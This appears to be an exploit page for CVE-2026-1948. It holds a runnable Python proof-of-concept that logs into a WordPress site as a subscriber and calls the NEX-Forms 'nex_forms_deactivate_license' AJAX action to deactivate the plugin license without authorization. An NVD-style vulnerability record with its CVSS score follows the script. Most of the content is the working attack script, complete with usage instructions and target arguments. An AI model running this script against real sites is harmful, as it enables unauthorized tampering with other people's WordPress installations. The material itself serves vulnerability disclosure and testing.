CVE-2026-1948

#!/usr/bin/env python3 """ CVE-2026-1948 PoC - NEX-Forms Plugin Unauthorized License Deactivation This script demonstrates how an authenticated user with subscriber-level access can deactivate the NEX-Forms plugin license without proper authorization. """ import requests import sys def deactivate_license(target_url, username, password): """ Deactivate NEX-Forms license by exploiting missing capability check Args: target_url: Target WordPress site URL username: WordPress username (subscriber level or higher) password: WordPress password """ # Create session session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Deactivate license via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # License deactivation request payload = { 'action': 'nex_forms_deactivate_license', 'license_key': 'any-license-key' # Can be arbitrary value } print("[*] Attempting to deactivate license...") response = session.post(ajax_url, data=payload) # Check response if response.status_code == 200: try: json_response = response.json() if json_response.get('success') or 'deactivated' in response.text.lower(): print("[+] License deactivation successful!") print(f"[+] Response: {response.text}") return True except: if response.status_code == 200: print("[+] License deactivation request completed!") print(f"[+] Response: {response.text[:200]}") return True print(f"[-] Deactivation failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1].rstrip('/') user = sys.argv[2] pwd = sys.argv[3] deactivate_license(target, user, pwd)

{"cve": {"id": "CVE-2026-1948", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:08.530", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the deactivate_license() function in all versions up to, and including, 9.1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to to deactivate the plugin license."}, {"lang": "es", "value": "El plugin NEX-Forms – Ultimate Forms Plugin for WordPress para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la función deactivate_license() en todas las versiones hasta la 9.1.9, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, desactiven la licencia del plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3470888/nex-forms-express-wp-form-builder", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/23b21dbd-caf7-49fc-bed4-4017151ee4ad?source=cve", "source": "[email protected]"}]}}